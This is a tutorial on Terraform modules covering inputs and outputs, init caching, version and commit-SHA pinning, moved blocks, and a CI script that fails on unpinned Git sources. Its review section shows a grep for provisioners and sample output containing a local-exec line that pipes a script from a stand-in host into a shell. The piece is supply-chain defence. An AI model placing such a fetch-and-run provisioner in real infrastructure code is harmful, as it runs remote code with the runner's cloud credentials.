Modules: reusable infrastructure

DRY infrastructure you can share.

You have written the same VPC (Virtual Private Cloud, a private network carved out inside a cloud account) three times now. Same subnets. Same security groups. Three copies means three chances to fat-finger a CIDR range (Classless Inter-Domain Routing, the 10.0.0.0/16 way of writing a block of IP addresses), and three files to edit the day the security team asks for flow logs on every network you own. A module is the fix, and it is less exotic than the word suggests: a folder of .tf files with declared inputs and declared outputs, called from another configuration.

The everyday version is a dishwasher. Nobody builds a pump and a heating element from scratch in every new kitchen. You buy the unit, connect water in, drain out, power, and then you never think about the pump again. Those three connections are the contract. A Terraform module works the same way. Variables are the water and power going in, outputs are what comes back out, and the resources inside are the pump you stopped thinking about.

Every Terraform configuration is already a module. The directory you run terraform apply in is the root module, and calling other modules is how you build infrastructure out of parts that were reviewed once instead of pasted five times. That framing hides something beginners are rarely told out loud, so here it is. A module is code that runs with your cloud credentials. Reuse and trust are the same decision, and you make it the moment you type a source argument.

variable "cidr" {
  type        = string
  description = "IPv4 range for the VPC, for example 10.0.0.0/16"
}
 
variable "environment" {
  type        = string
  description = "dev, stage or prod"
  validation {
    condition     = contains(["dev", "stage", "prod"], var.environment)
    error_message = "environment must be dev, stage or prod."
  }
}

output "vpc_id" {
  value = aws_vpc.this.id
}
 
output "private_subnet_ids" {
  value = aws_subnet.private[*].id
}

The Contract Is Inputs And Outputs

The caller passes values as arguments on the module block and reads results back as module.<name>.<output>. That is the whole public surface. Nothing inside the module is reachable from the calling configuration, so you cannot reach past the contract and reference a resource buried in there. The wall is in the language, not in the state file: terraform state list still shows every resource inside, and terraform apply -target can single one out. That restriction is the entire point. As long as inputs and outputs keep their shape, whoever maintains the module can rewrite its insides without breaking a single caller. Wiring two modules together uses the same mechanism. The network module hands back subnet IDs. The web module takes them.

module "network" {
  source      = "./modules/network"   # local path: no version argument
  cidr        = "10.0.0.0/16"
  environment = var.environment
}
 
module "web" {
  source     = "./modules/web"
  subnet_ids = module.network.private_subnet_ids   # wired via outputs
}

The validation block in variables.tf is the piece people skip, and it is the piece that turns a written contract into an enforced one. A caller who fumbles the environment name gets a clean refusal at plan time, before anything exists, instead of a pile of resources tagged produciton that your cost reports miss, your backup policy skips, and your detection rules filter out because they match on environment=prod.

# someone hardcoded environment = "produciton" in the module block
terraform plan

╷
│ Error: Invalid value for variable
│
│   on main.tf line 4, in module "network":
│    4:   environment = "produciton"
│     ├────────────────
│     │ var.environment is "produciton"
│
│ environment must be dev, stage or prod.
│
│ This was checked by the validation rule at
│ modules/network/variables.tf:9,3-13.
╵

Notice how much Terraform hands you for free: the offending line, the value it actually saw, and the file and line of the rule that rejected it. Keep each module doing one clear job, a network, a service, a database. The failure mode at the other end is the god-module, one module with fifty inputs that builds an entire platform. It is as hard to reuse as no module at all, and every change to it forces a plan across everything that calls it. If an output carries something secret, mark it sensitive = true so the value stops appearing in CLI output as it travels up to the root. Be honest about what that buys you, though. It hides the value from the terminal. It encrypts nothing. The secret still sits in plaintext in your state file, so the state backend is where the real protection has to live.

What Init Does When It Sees A Module

terraform init is the shopping run. Before anyone cooks, somebody fetches the ingredients and puts them on the counter. For modules, init has one job: copy each module's source into .terraform/modules/ and write down where every copy came from. Local paths are the exception. They are recorded in place rather than copied, because they already live in your repository and travel with your commits.

terraform init

Initializing modules...
- network in modules/network
Downloading registry.terraform.io/terraform-aws-modules/vpc/aws 5.8.1 for vpc...
- vpc in .terraform/modules/vpc
 
Initializing the backend...
 
Initializing provider plugins...
- Finding hashicorp/aws versions matching "~> 5.0"...
- Installing hashicorp/aws v5.68.0...
- Installed hashicorp/aws v5.68.0 (signed by HashiCorp)
 
Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.
 
Terraform has been successfully initialized!

Two different behaviours in those first four lines. The local module got a one-line note and nothing moved. The registry module got downloaded, and Terraform said out loud which version it took. Everything it fetched is now on disk, and there is a manifest that tells you exactly what.

jq . .terraform/modules/modules.json

{
  "Modules": [
    {
      "Key": "network",
      "Source": "./modules/network",
      "Dir": "modules/network"
    },
    {
      "Key": "vpc",
      "Source": "registry.terraform.io/terraform-aws-modules/vpc/aws",
      "Version": "5.8.1",
      "Dir": ".terraform/modules/vpc"
    },
    {
      "Key": "",
      "Source": "",
      "Dir": "."
    }
  ]
}

That file is a packing slip. It answers the question "whose code is about to run in this working directory?", and the entry with the empty Key is your own root module. On an incident call, when someone asks whether a build used the module version everybody assumes it used, modules.json pulled from the runner's workspace beats anyone's memory.

Now the part that surprises people. Open .terraform.lock.hcl and look for a module section. There is not one. That file records provider versions and their cryptographic checksums, providers and nothing else. No Terraform command verifies that the module bytes you fetched today match the bytes you reviewed last month. The pin you write in the source argument is the whole control.

Source Is A Trust Decision

The source argument takes a local path (./modules/network), the public Terraform Registry (a shared index of published modules, like a package repository), a private registry your company runs, or a Git URL. Registry sources use a three-part name: namespace, module name, target provider. So terraform-aws-modules/vpc/aws reads as the vpc module, published under the terraform-aws-modules namespace, for the aws provider. Public modules like that one have been used by tens of thousands of people and are a sane way to avoid hand-rolling a correct VPC. They are also published by ordinary accounts. HashiCorp does not review the code, the namespace is whatever source-control organisation the publisher owns, and a plausible near-miss of a popular name belongs to whoever registers it first.

module "vpc" {
  source  = "terraform-aws-modules/vpc/aws"   # public registry module
  version = "5.8.1"                           # PIN it
 
  name            = "prod-vpc"
  cidr            = "10.0.0.0/16"
  azs             = ["us-east-1a", "us-east-1b"]
  private_subnets = ["10.0.1.0/24", "10.0.2.0/24"]
}

version = "5.8.1" means that exact release and nothing else. version = "~> 5.8" means anything from 5.8.0 up to but not including 6.0.0, so a maintainer publishing 5.13.0 tomorrow changes what your next init pulls. Leave version off and you have no constraint at all. The copy already sitting in .terraform will stick around, which is why this looks harmless on your laptop, but any fresh working directory takes whatever is newest at that moment. Every CI run (continuous integration, the automation that builds and tests your code on a shared machine) starts from a fresh working directory.

An exact version is a real pin, and you can watch the mechanism work. Ask the registry what a version resolves to and it answers with a pointer, not a tarball.

curl -sI https://registry.terraform.io/v1/modules/terraform-aws-modules/vpc/aws/5.8.1/download \
  | grep -i x-terraform-get

X-Terraform-Get: git::https://github.com/terraform-aws-modules/terraform-aws-vpc?ref=25322b6b6be69db6cca7f167d7b0e5327156a595

The registry does not host the code. It hands back a location, and here that location is a 40-character commit SHA (Secure Hash Algorithm, the fingerprint Git computes from a commit's contents). Version 5.8.1 is nailed to one commit, and that mapping is fixed when the version is published. Two limits are worth holding onto. The bytes still come from the source repository, so if that repository goes away your init fails. And Terraform records no checksum of what came back, so "the pin held" is something you check, not something the tool promises.

Git sources are where the trap lives. A Git tag is a sticky label, and a human can peel it off and stick it on a different box. ref=v1.2.0 today and ref=v1.2.0 next quarter can point at two different commits if somebody force-pushes the tag, and nothing in your repository shows a diff, because your file still says v1.2.0. The ref parameter also accepts a full commit SHA, and a SHA is not a label. It is computed from the contents, so changing the contents changes the SHA. For any module you do not personally control, pin the SHA.

module "rds" {
  # git::<transport>::<repo>//<subdirectory>?ref=<tag|branch|commit>
  source = "git::ssh://[email protected]/acme/tf-modules.git//rds?ref=8f2a1c9e0d4b7a63f15c2e8d90b4a7c6e3d1f0a2"
 
  instance_class = "db.t4g.medium"
}

One more mechanical detail that bites teams. Modules are cached in .terraform/modules and reused, and Terraform's own help text for terraform get is blunt about it: an already-downloaded module is not re-downloaded or checked for updates unless you ask. Change a registry version constraint and the next init notices the cached copy no longer satisfies it and re-downloads. Point at a Git branch instead, and there is no version to compare against, so the stale copy sits there quietly until somebody runs terraform init -upgrade (or terraform get -update). That is how two engineers and a CI runner end up applying three different versions of the same module while all three swear they are on main.

terraform init -upgrade

Upgrading modules...
- network in modules/network
Downloading registry.terraform.io/terraform-aws-modules/vpc/aws 5.13.0 for vpc...
- vpc in .terraform/modules/vpc
 
Initializing the backend...
 
Initializing provider plugins...
- Finding hashicorp/aws versions matching "~> 5.0"...
- Using previously-installed hashicorp/aws v5.68.0
 
Terraform has been successfully initialized!

Read A Module Before You Run It

Here is what makes module review a security job and not a style job. A module can contain a provisioner "local-exec" block, which runs a shell command on whichever machine performs the apply. It can also contain a data "external" block, which runs a program during plan. Plan. The command everybody treats as read-only and safe to point at a stranger's pull request. So the review happens before the first apply, on the copy init actually put on disk.

grep -rnE --include='*.tf' \
  'provisioner "|local-exec|remote-exec|data "external"|data "http"' \
  .terraform/modules/

.terraform/modules/onboarding/main.tf:41:  provisioner "local-exec" {
.terraform/modules/onboarding/main.tf:42:    command = "curl -sf https://collect.example.net/i | sh"
.terraform/modules/dns/main.tf:12:data "http" "my_ip" {

Three hits, two different kinds of problem. The onboarding module pulls a script off the network and pipes it into a shell, on your runner, with whatever cloud credentials that runner is holding. That is not a Terraform bug, and no provider setting will stop it, because running commands is a documented feature. Grep is what finds it. The dns hit is the common legitimate case: an http data source looking up the runner's public IP so a security group rule can allow it. Benign, probably, and still an outbound call from your build machine at plan time. That is the standard to hold. Every hit gets a sentence of explanation in the pull request, and a hit nobody can explain is a hit you do not merge.

Two notes on the command itself. Restrict it to *.tf, because modules ship README and CHANGELOG files that will bury a bare grep in false positives. And remember that local path modules are not under .terraform/modules at all. Those you review in the pull request that introduced them, like any other code in your repository.

Moving Existing Resources Into A Module

Terraform tracks every resource by its address, the way the post office tracks a house rather than the family living in it. Wrapping code in a module changes the address. aws_vpc.main becomes module.network.aws_vpc.this. Terraform reads that as one resource vanishing from the configuration and a brand new one appearing, which is why a first attempt at modularising a live environment produces a plan that makes your stomach drop.

terraform plan

Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
  + create
  - destroy
 
Terraform will perform the following actions:
 
  # aws_vpc.main will be destroyed
  # (because aws_vpc.main is not in configuration)
  - resource "aws_vpc" "main" {
      - arn                       = "arn:aws:ec2:us-east-1:123456789012:vpc/vpc-0a1b2c3d4e5f60718" -> null
      - cidr_block                = "10.0.0.0/16" -> null
      - default_route_table_id    = "rtb-06f5a4b3c2d1e0f99" -> null
      - default_security_group_id = "sg-0c9b8a7d6e5f43210" -> null
      - enable_dns_hostnames      = true -> null
      - enable_dns_support        = true -> null
      - id                        = "vpc-0a1b2c3d4e5f60718" -> null
      - instance_tenancy          = "default" -> null
      - tags                      = {
          - "Name" = "core"
        } -> null
      - tags_all                  = {
          - "Name" = "core"
        } -> null
    }
 
  # module.network.aws_vpc.this will be created
  + resource "aws_vpc" "this" {
      + arn                       = (known after apply)
      + cidr_block                = "10.0.0.0/16"
      + default_route_table_id    = (known after apply)
      + default_security_group_id = (known after apply)
      + enable_dns_hostnames      = (known after apply)
      + enable_dns_support        = true
      + id                        = (known after apply)
      + instance_tenancy          = "default"
      + tags                      = {
          + "Name" = "core"
        }
      + tags_all                  = {
          + "Name" = "core"
        }
    }
 
Plan: 3 to add, 0 to change, 3 to destroy.

Nothing about your infrastructure needs to change here. Only Terraform's bookkeeping does. A moved block is a change-of-address card: it tells Terraform the resource now lives at a new address, so update the state in place instead of tearing anything down. Add one per relocated resource, run plan again, and read the counts. (moved blocks need Terraform 1.1 or newer.)

moved {
  from = aws_vpc.main
  to   = module.network.aws_vpc.this
}
 
moved {
  from = aws_subnet.private
  to   = module.network.aws_subnet.private
}

terraform plan

module.network.aws_vpc.this: Refreshing state... [id=vpc-0a1b2c3d4e5f60718]
module.network.aws_subnet.private[0]: Refreshing state... [id=subnet-0b1c2d3e4f5a69788]
module.network.aws_subnet.private[1]: Refreshing state... [id=subnet-0c2d3e4f5a6b79899]
 
Terraform will perform the following actions:
 
  # aws_vpc.main has moved to module.network.aws_vpc.this
    resource "aws_vpc" "this" {
        id   = "vpc-0a1b2c3d4e5f60718"
        tags = {
            "Name" = "core"
        }
        # (13 unchanged attributes hidden)
    }
 
  # aws_subnet.private[0] has moved to module.network.aws_subnet.private[0]
    resource "aws_subnet" "private" {
        id   = "subnet-0b1c2d3e4f5a69788"
        tags = {
            "Name" = "core-private-a"
        }
        # (17 unchanged attributes hidden)
    }
 
  # aws_subnet.private[1] has moved to module.network.aws_subnet.private[1]
    resource "aws_subnet" "private" {
        id   = "subnet-0c2d3e4f5a6b79899"
        tags = {
            "Name" = "core-private-b"
        }
        # (17 unchanged attributes hidden)
    }
 
Plan: 0 to add, 0 to change, 0 to destroy.

"has moved to", and zeros across the board. That is what a correct refactor looks like, and it is the output you paste into the pull request as evidence. If your plan still says anything to destroy, stop there. Find the address you missed with terraform state list before you go anywhere near apply.

Make CI Refuse An Unpinned Module

Pinning is a rule people follow right up until a Friday deploy, so give it teeth. One grep across your .tf files finds every Git module source that is not fastened to a commit SHA, and one non-zero exit code stops the pipeline.

#!/usr/bin/env bash
# Fail the build if any Git module source is not pinned to a full commit SHA.
set -euo pipefail
 
# --exclude-dir skips vendored copies under .terraform, which are not ours to fix.
# The trailing ([&"]|$) lets a valid pin carry extra query parameters.
bad=$(grep -rnE 'source[[:space:]]*=[[:space:]]*"git::' \
        --include='*.tf' --exclude-dir='.terraform' . \
      | grep -Ev 'ref=[0-9a-f]{40}([&"]|$)' || true)
 
if [ -n "$bad" ]; then
  echo "Unpinned module sources:"
  echo "$bad"
  exit 1
fi
 
echo "All Git module sources are pinned to a commit SHA."

bash ci/check-module-pins.sh; echo "exit=$?"

Unpinned module sources:
./environments/prod/main.tf:2:  source = "git::ssh://[email protected]/acme/tf-modules.git//rds?ref=main"
exit=1

One line of evidence, one failed build. A module pointing at main is a module whose contents are decided by whoever pushed last, and prod is the worst possible place to find out who that was. Fix it by replacing main with the SHA you reviewed, then bump that SHA in a pull request of its own, where a human can read the diff between the old commit and the new one.

Try this

Run terraform plan on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: terraform plan is not a safe sandbox. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related